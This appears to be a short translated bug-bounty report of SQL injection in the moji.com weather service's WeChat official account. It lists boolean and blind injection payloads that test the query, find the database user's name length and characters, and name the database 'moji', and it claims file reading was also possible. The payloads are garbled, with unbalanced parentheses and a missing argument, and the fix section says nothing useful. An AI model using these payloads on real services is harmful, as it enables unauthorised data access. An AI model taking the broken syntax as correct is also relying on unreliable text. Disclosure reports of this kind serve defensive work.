An SQL injection vulnerability in moji.com (WeChat official account injection)

An SQL injection vulnerability in moji.com (Public Account injection)

Give me 9 points, don't make me proud

The vulnerability occurs in moji weather service number. This is an interesting vulnerability, so I will not talk much about it:

Beijing' and '1' = '1

 

Beijing' and '1' = '2

Injection can be determined.

 

 

Beijing' and (select length (user ()> 1 -- and 'A' = 'a Beijing' and (select length (user ())) = 14 -- and 'A' = 'a Beijing' and ascii (substring (user (),)> 1 -- and 'A' = 'a

Determine the user name [email protected]

Similarly, judge the current database: moji

You can also read files:
 

 

That's all :)

 

 

 

 

 

 

 

Solution:

Hard-working developers